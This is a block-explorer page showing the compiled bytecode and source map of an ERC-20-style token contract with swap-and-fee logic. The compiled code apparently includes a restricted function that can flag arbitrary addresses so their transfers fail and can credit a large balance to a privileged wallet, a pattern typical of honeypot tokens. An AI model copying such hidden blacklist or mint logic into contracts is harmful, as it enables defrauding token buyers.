5260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d049085815260200190565b60405180910390a35b6001600160a01b03871660009081526009602052604090205460ff1615610d3357600080fd5b610d3d85826110bd565b9150505b6001600160a01b038516600090815260046020526040902054610d6490826111c3565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db89085815260200190565b60405180910390a3600192505050610640565b60008184841115610def5760405162461bcd60e51b815260040161069d9190611250565b506000610dfc84866114e9565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e56918490610dcb565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e8590836111c3565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ed99086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2d57610f2d61145d565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc491906114cc565b81600181518110610fd757610fd761145d565b6001600160a01b039283166020918202929092010152600d546110029130916101009004168461093e565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061103f9085906000908690309042906004016114fc565b600060405180830381600087803b15801561105957600080fd5b505af192505050801561106a575060015b504780156110ae576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110ac573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061064083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dcb565b600082600003611111575060006104f8565b600061111d83856114a2565b90508261112a858361156d565b146106405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161069d565b600061064083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611222565b6000806111d083856114b9565b9050838110156106405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161069d565b600081836112435760405162461bcd60e51b815260040161069d9190611250565b506000610dfc848661156d565b600060208083528351808285015260005b8181101561127d57858101830151858201604001528201611261565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112b357600080fd5b50565b600080604083850312156112c957600080fd5b82356112d48161129e565b946020939093013593505050565b803580151581146112f257600080fd5b919050565b6000806000806060858703121561130d57600080fd5b843567ffffffffffffffff8082111561132557600080fd5b818701915087601f83011261133957600080fd5b81358181111561134857600080fd5b8860208260051b850101111561135d57600080fd5b60209283019650945061137391870190506112e2565b9150611381604086016112e2565b905092959194509250565b6000806000606084860312156113a157600080fd5b83356113ac8161129e565b925060208401356113bc8161129e565b929592945050506040919091013590565b6000602082840312156113df57600080fd5b81356106408161129e565b600080604083850312156113fd57600080fd5b82356114088161129e565b915060208301356114188161129e565b809150509250929050565b600181811c9082168061143757607f821691505b60208210810361145757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161149b5761149b611473565b5060010190565b80820281158282048414176104f8576104f8611473565b808201808211156104f8576104f8611473565b6000602082840312156114de57600080fd5b81516106408161129e565b818103818111156104f8576104f8611473565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561154c5784516001600160a01b031683529383019391830191600101611527565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122068ed173a62859c49a317223edb8947b8b6afa01bf06eef26a68e4098de6f8a8c64736f6c63430008110033

Deployed Bytecode Sourcemap

3869:6402:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5248:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6359:161;;;;;;;;;;-1:-1:-1;6359:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6359:161:0;1023:187:1;5339:41:0;;;;;;;;;;-1:-1:-1;5339:41:0;;;;;;;-1:-1:-1;;;;;5339:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5339:41:0;1215:229:1;5140:100:0;;;;;;;;;;-1:-1:-1;5220:12:0;;5140:100;;;1595:25:1;;;1583:2;1568:18;5140:100:0;1449:177:1;5387:345:0;;;;;;;;;;-1:-1:-1;5387:345:0;;;;;:::i;:::-;;:::i;:::-;;9953:313;;;;;;;;;;-1:-1:-1;9953:313:0;;;;;:::i;:::-;;:::i;6268:83::-;;;;;;;;;;-1:-1:-1;6334:9:0;;6268:83;;6334:9;;;;3161:36:1;;3149:2;3134:18;6268:83:0;3019:184:1;4234:50:0;;;;;;;;;;-1:-1:-1;4234:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4291:45;;;;;;;;;;-1:-1:-1;4291:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6141:119;;;;;;;;;;-1:-1:-1;6141:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6234:18:0;6207:7;6234:18;;;:9;:18;;;;;;;6141:119;1753:157;;;;;;;;;;-1:-1:-1;1753:157:0;;;;;:::i;:::-;;:::i;7172:470::-;;;;;;;;;;;;;:::i;4343:44::-;;;;;;;;;;-1:-1:-1;4343:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1547:79;;;;;;;;;;-1:-1:-1;1585:7:0;1612:6;-1:-1:-1;;;;;1612:6:0;1547:79;;5045:87;;;;;;;;;;;;;:::i;9776:167::-;;;;;;;;;;-1:-1:-1;9776:167:0;;;;;:::i;:::-;;:::i;4396:35::-;;;;;;;;;;;;;;;;5742:26;;;;;;;;;;-1:-1:-1;5742:26:0;;;;-1:-1:-1;;;;;5742:26:0;;;4438:36;;;;;;;;;;;;;;;;7988:143;;;;;;;;;;-1:-1:-1;7988:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8096:18:0;;;8069:7;8096:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7988:143;4115:34;;;;;;;;;;-1:-1:-1;4115:34:0;;;;-1:-1:-1;;;;;4115:34:0;;;5248:83;5285:13;5318:5;5311:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5248:83;:::o;6359:161::-;6434:4;6451:39;429:10;6474:7;6483:6;6451:8;:39::i;:::-;-1:-1:-1;6508:4:0;6359:161;;;;;:::o;5387:345::-;5503:11;;-1:-1:-1;;;;;5503:11:0;429:10;-1:-1:-1;;;;;5487:27:0;;5479:36;;;;;;5531:9;5526:104;5542:20;;;5526:104;;;5612:6;5584:11;:25;5596:9;;5606:1;5596:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5584:25:0;;;;;;;;;;;;-1:-1:-1;5584:25:0;:34;;-1:-1:-1;;5584:34:0;;;;;;;;;;5564:3;;;;:::i;:::-;;;;5526:104;;;;5644:7;5640:82;;;5708:12;;5681:40;;5690:6;5681:40;:::i;:::-;5663:11;;-1:-1:-1;;;;;5663:11:0;5653:22;;;;:9;:22;;;;;:69;;:22;;;:69;;;;;:::i;:::-;;;;-1:-1:-1;;5640:82:0;5387:345;;;;:::o;9953:313::-;10051:4;10068:36;10078:6;10086:9;10097:6;10068:9;:36::i;:::-;-1:-1:-1;10115:121:0;10124:6;429:10;10146:89;10184:6;10146:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10146:19:0;;;;;;:11;:19;;;;;;;;429:10;10146:33;;;;;;;;;;:37;:89::i;:::-;10115:8;:121::i;:::-;-1:-1:-1;10254:4:0;9953:313;;;;;;:::o;1753:157::-;1460:6;;-1:-1:-1;;;;;1460:6:0;429:10;1460:22;1452:67;;;;-1:-1:-1;;;1452:67:0;;5579:2:1;1452:67:0;;;5561:21:1;;;5598:18;;;5591:30;5657:34;5637:18;;;5630:62;5709:18;;1452:67:0;;;;;;;;;1827:6:::1;:19:::0;;-1:-1:-1;;;;;;1827:19:0::1;-1:-1:-1::0;;;;;1827:19:0;::::1;::::0;;::::1;::::0;;1862:40:::1;::::0;1827:19;;;;1862:40:::1;::::0;1827:6;1862:40:::1;1753:157:::0;:::o;7172:470::-;1460:6;;-1:-1:-1;;;;;1460:6:0;429:10;1460:22;1452:67;;;;-1:-1:-1;;;1452:67:0;;5579:2:1;1452:67:0;;;5561:21:1;;;5598:18;;;5591:30;5657:34;5637:18;;;5630:62;5709:18;;1452:67:0;5377:356:1;1452:67:0;7224:35:::1;7281:42;7224:100;;7367:16;-1:-1:-1::0;;;;;7367:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7349:70:0::1;;7428:4;7435:16;-1:-1:-1::0;;;;;7435:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7349:110;::::0;-1:-1:-1;;;;;;7349:110:0::1;::::0;;;;;;-1:-1:-1;;;;;6224:15:1;;;7349:110:0::1;::::0;::::1;6206:34:1::0;6276:15;;6256:18;;;6249:43;6141:18;;7349:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7335:11;:124:::0;;-1:-1:-1;;;;;;7335:124:0::1;-1:-1:-1::0;;;;;7335:124:0;;::::1;;::::0;;7470:15:::1;:34:::0;;-1:-1:-1;;;;;;7470:34:0::1;7335:124;7470:34:::0;;::::1;::::0;::::1;;::::0;;;;7570:12:::1;::::0;7535:4:::1;-1:-1:-1::0;7515:26:0;;;:11:::1;:26;::::0;;;;;;;7550:15;;;::::1;::::0;::::1;7515:52:::0;;;;;;;;:67;;;;7614:11;;;;::::1;7593:34:::0;;:12:::1;:34:::0;;;;;:41;;-1:-1:-1;;7593:41:0::1;-1:-1:-1::0;7593:41:0::1;::::0;;7172:470::o;5045:87::-;5084:13;5117:7;5110:14;;;;;:::i;9776:167::-;9854:4;9871:42;429:10;9895:9;9906:6;9871:9;:42::i;4693:337::-;-1:-1:-1;;;;;4786:19:0;;4778:68;;;;-1:-1:-1;;;4778:68:0;;6505:2:1;4778:68:0;;;6487:21:1;6544:2;6524:18;;;6517:30;6583:34;6563:18;;;6556:62;-1:-1:-1;;;6634:18:1;;;6627:34;6678:19;;4778:68:0;6303:400:1;4778:68:0;-1:-1:-1;;;;;4865:21:0;;4857:68;;;;-1:-1:-1;;;4857:68:0;;6910:2:1;4857:68:0;;;6892:21:1;6949:2;6929:18;;;6922:30;6988:34;6968:18;;;6961:62;-1:-1:-1;;;7039:18:1;;;7032:32;7081:19;;4857:68:0;6708:398:1;4857:68:0;-1:-1:-1;;;;;4938:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4990:32;;1595:25:1;;;4990:32:0;;1568:18:1;4990:32:0;;;;;;;4693:337;;;:::o;8139:1629::-;8217:4;-1:-1:-1;;;;;8244:18:0;;8236:68;;;;-1:-1:-1;;;8236:68:0;;7313:2:1;8236:68:0;;;7295:21:1;7352:2;7332:18;;;7325:30;7391:34;7371:18;;;7364:62;-1:-1:-1;;;7442:18:1;;;7435:35;7487:19;;8236:68:0;7111:401:1;8236:68:0;-1:-1:-1;;;;;8323:16:0;;8315:64;;;;-1:-1:-1;;;8315:64:0;;7719:2:1;8315:64:0;;;7701:21:1;7758:2;7738:18;;;7731:30;7797:34;7777:18;;;7770:62;-1:-1:-1;;;7848:18:1;;;7841:33;7891:19;;8315:64:0;7517:399:1;8315:64:0;8395:16;;;;8392:1369;;;8444:32;8459:4;8465:2;8469:6;8444:14;:32::i;:::-;8437:39;;;;8392:1369;8577:4;8528:28;6234:18;;;:9;:18;;;;;;8603:16;;;;8602:17;:40;;;;-1:-1:-1;;;;;;8624:18:0;;;;;;:12;:18;;;;;;;;8623:19;8602:40;8598:131;;;8677:36;8692:20;8677:14;:36::i;:::-;-1:-1:-1;;;;;8763:15:0;;;;;;:9;:15;;;;;;:27;;8783:6;8763:19;:27::i;:::-;-1:-1:-1;;;;;8745:15:0;;;;;;:9;:15;;;;;;;;:45;;;;8845:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;8872:21:0;;;;;;:17;:21;;;;;;;;8845:48;8841:757;;;-1:-1:-1;8927:6:0;8841:757;;;-1:-1:-1;;;;;9017:18:0;;8972:17;9017:18;;;:12;:18;;;;;;;;9014:252;;;9072:37;9105:3;9072:28;9083:16;;9072:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9060:49;;9014:252;;;-1:-1:-1;;;;;9155:16:0;;;;;;:12;:16;;;;;;;;9152:114;;;9208:38;9242:3;9208:29;9219:17;;9208:6;:10;;:29;;;;:::i;:38::-;9196:50;;9152:114;9289:13;;9286:195;;9372:4;9354:24;;;;:9;:24;;;;;;:39;;9383:9;9354:28;:39::i;:::-;9345:4;9327:24;;;;:9;:24;;;;;;;:66;;;;9421:40;;-1:-1:-1;;;;;9421:40:0;;;;;;;9451:9;1595:25:1;;1583:2;1568:18;;1449:177;9421:40:0;;;;;;;;9286:195;-1:-1:-1;;;;;9508:17:0;;;;;;:11;:17;;;;;;;;9507:18;9499:27;;;;;;9561:21;:6;9572:9;9561:10;:21::i;:::-;9547:35;;8953:645;8841:757;-1:-1:-1;;;;;9642:13:0;;;;;;:9;:13;;;;;;:30;;9660:11;9642:17;:30::i;:::-;-1:-1:-1;;;;;9626:13:0;;;;;;;:9;:13;;;;;;;:46;;;;9692:31;;;;;;;;;;9711:11;1595:25:1;;1583:2;1568:18;;1449:177;9692:31:0;;;;;;;;9745:4;9738:11;;;;;;2276:192;2362:7;2398:12;2390:6;;;;2382:29;;;;-1:-1:-1;;;2382:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2422:9:0;2434:5;2438:1;2434;:5;:::i;:::-;2422:17;2276:192;-1:-1:-1;;;;;2276:192:0:o;7650:330::-;7780:53;;;;;;;;;;;-1:-1:-1;;;7780:53:0;;;;;;;;-1:-1:-1;;;;;7780:17:0;;7743:4;7780:17;;;:9;:17;;;;;;;:53;;7802:6;;7780:21;:53::i;:::-;-1:-1:-1;;;;;7760:17:0;;;;;;;:9;:17;;;;;;:73;;;;7867:20;;;;;;;:32;;7892:6;7867:24;:32::i;:::-;-1:-1:-1;;;;;7844:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7915:35;;;;;;;;;;7943:6;1595:25:1;;1583:2;1568:18;;1449:177;7915:35:0;;;;;;;;-1:-1:-1;7968:4:0;7650:330;;;;;:::o;6528:636::-;4607:16;:23;;-1:-1:-1;;4607:23:0;4626:4;4607:23;;;6634:16:::1;::::0;;6648:1:::1;6634:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6634:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6634:16:0::1;6610:40;;6679:4;6661;6666:1;6661:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6661:23:0::1;;;-1:-1:-1::0;;;;;6661:23:0::1;;;::::0;::::1;6705:15;;;;;;;;;-1:-1:-1::0;;;;;6705:15:0::1;-1:-1:-1::0;;;;;6705:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6695:4;6700:1;6695:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6695:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6772:15:::1;::::0;6740:58:::1;::::0;6757:4:::1;::::0;6772:15:::1;::::0;::::1;;6790:7:::0;6740:8:::1;:58::i;:::-;6815:15;::::0;:193:::1;::::0;-1:-1:-1;;;6815:193:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;6815:15:0::1;::::0;:66:::1;::::0;:193:::1;::::0;6896:7;;6918:1:::1;::::0;6935:4;;6962::::1;::::0;6982:15:::1;::::0;6815:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;6811:208:::0;7054:21:::1;7091:16:::0;;7088:68:::1;;7122:11;::::0;:34:::1;::::0;-1:-1:-1;;;;;7122:11:0;;::::1;::::0;:34;::::1;;;::::0;7143:12;;7122:11:::1;:34:::0;:11;:34;7143:12;7122:11;:34;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7088:68;-1:-1:-1::0;;4653:16:0;:24;;-1:-1:-1;;4653:24:0;;;-1:-1:-1;6528:636:0:o;2132:136::-;2190:7;2217:43;2221:1;2224;2217:43;;;;;;;;;;;;;;;;;:3;:43::i;2476:248::-;2534:7;2558:1;2563;2558:6;2554:47;;-1:-1:-1;2588:1:0;2581:8;;2554:47;2611:9;2623:5;2627:1;2623;:5;:::i;:::-;2611:17;-1:-1:-1;2656:1:0;2647:5;2651:1;2611:17;2647:5;:::i;:::-;:10;2639:56;;;;-1:-1:-1;;;2639:56:0;;9595:2:1;2639:56:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:31;9765:19;;2639:56:0;9393:397:1;2732:132:0;2790:7;2817:39;2821:1;2824;2817:39;;;;;;;;;;;;;;;;;:3;:39::i;1943:181::-;2001:7;;2033:5;2037:1;2033;:5;:::i;:::-;2021:17;;2062:1;2057;:6;;2049:46;;;;-1:-1:-1;;;2049:46:0;;9997:2:1;2049:46:0;;;9979:21:1;10036:2;10016:18;;;10009:30;10075:29;10055:18;;;10048:57;10122:18;;2049:46:0;9795:351:1;2872:189:0;2958:7;2993:12;2986:5;2978:28;;;;-1:-1:-1;;;2978:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3017:9:0;3029:5;3033:1;3029;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:160::-;1696:20;;1752:13;;1745:21;1735:32;;1725:60;;1781:1;1778;1771:12;1725:60;1631:160;;;:::o;1796:757::-;1894:6;1902;1910;1918;1971:2;1959:9;1950:7;1946:23;1942:32;1939:52;;;1987:1;1984;1977:12;1939:52;2027:9;2014:23;2056:18;2097:2;2089:6;2086:14;2083:34;;;2113:1;2110;2103:12;2083:34;2151:6;2140:9;2136:22;2126:32;;2196:7;2189:4;2185:2;2181:13;2177:27;2167:55;;2218:1;2215;2208:12;2167:55;2258:2;2245:16;2284:2;2276:6;2273:14;2270:34;;;2300:1;2297;2290:12;2270:34;2355:7;2348:4;2338:6;2335:1;2331:14;2327:2;2323:23;2319:34;2316:47;2313:67;;;2376:1;2373;2366:12;2313:67;2407:4;2399:13;;;;-1:-1:-1;2431:6:1;-1:-1:-1;2456:37:1;;2472:20;;;-1:-1:-1;2456:37:1;:::i;:::-;2446:47;;2512:35;2543:2;2532:9;2528:18;2512:35;:::i;:::-;2502:45;;1796:757;;;;;;;:::o;2558:456::-;2635:6;2643;2651;2704:2;2692:9;2683:7;2679:23;2675:32;2672:52;;;2720:1;2717;2710:12;2672:52;2759:9;2746:23;2778:31;2803:5;2778:31;:::i;:::-;2828:5;-1:-1:-1;2885:2:1;2870:18;;2857:32;2898:33;2857:32;2898:33;:::i;:::-;2558:456;;2950:7;;-1:-1:-1;;;3004:2:1;2989:18;;;;2976:32;;2558:456::o;3208:247::-;3267:6;3320:2;3308:9;3299:7;3295:23;3291:32;3288:52;;;3336:1;3333;3326:12;3288:52;3375:9;3362:23;3394:31;3419:5;3394:31;:::i;3668:388::-;3736:6;3744;3797:2;3785:9;3776:7;3772:23;3768:32;3765:52;;;3813:1;3810;3803:12;3765:52;3852:9;3839:23;3871:31;3896:5;3871:31;:::i;:::-;3921:5;-1:-1:-1;3978:2:1;3963:18;;3950:32;3991:33;3950:32;3991:33;:::i;:::-;4043:7;4033:17;;;3668:388;;;;;:::o;4285:380::-;4364:1;4360:12;;;;4407;;;4428:61;;4482:4;4474:6;4470:17;4460:27;;4428:61;4535:2;4527:6;4524:14;4504:18;4501:38;4498:161;;4581:10;4576:3;4572:20;4569:1;4562:31;4616:4;4613:1;4606:15;4644:4;4641:1;4634:15;4498:161;;4285:380;;;:::o;4670:127::-;4731:10;4726:3;4722:20;4719:1;4712:31;4762:4;4759:1;4752:15;4786:4;4783:1;4776:15;4802:127;4863:10;4858:3;4854:20;4851:1;4844:31;4894:4;4891:1;4884:15;4918:4;4915:1;4908:15;4934:135;4973:3;4994:17;;;4991:43;;5014:18;;:::i;:::-;-1:-1:-1;5061:1:1;5050:13;;4934:135::o;5074:168::-;5147:9;;;5178;;5195:15;;;5189:22;;5175:37;5165:71;;5216:18;;:::i;5247:125::-;5312:9;;;5333:10;;;5330:36;;;5346:18;;:::i;5738:251::-;5808:6;5861:2;5849:9;5840:7;5836:23;5832:32;5829:52;;;5877:1;5874;5867:12;5829:52;5909:9;5903:16;5928:31;5953:5;5928:31;:::i;7921:128::-;7988:9;;;8009:11;;;8006:37;;;8023:18;;:::i;8186:980::-;8448:4;8496:3;8485:9;8481:19;8527:6;8516:9;8509:25;8553:2;8591:6;8586:2;8575:9;8571:18;8564:34;8634:3;8629:2;8618:9;8614:18;8607:31;8658:6;8693;8687:13;8724:6;8716;8709:22;8762:3;8751:9;8747:19;8740:26;;8801:2;8793:6;8789:15;8775:29;;8822:1;8832:195;8846:6;8843:1;8840:13;8832:195;;;8911:13;;-1:-1:-1;;;;;8907:39:1;8895:52;;9002:15;;;;8967:12;;;;8943:1;8861:9;8832:195;;;-1:-1:-1;;;;;;;9083:32:1;;;;9078:2;9063:18;;9056:60;-1:-1:-1;;;9147:3:1;9132:19;9125:35;9044:3;8186:980;-1:-1:-1;;;8186:980:1:o;9171:217::-;9211:1;9237;9227:132;;9281:10;9276:3;9272:20;9269:1;9262:31;9316:4;9313:1;9306:15;9344:4;9341:1;9334:15;9227:132;-1:-1:-1;9373:9:1;;9171:217::o

Swarm Source

ipfs://68ed173a62859c49a317223edb8947b8b6afa01bf06eef26a68e4098de6f8a8c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.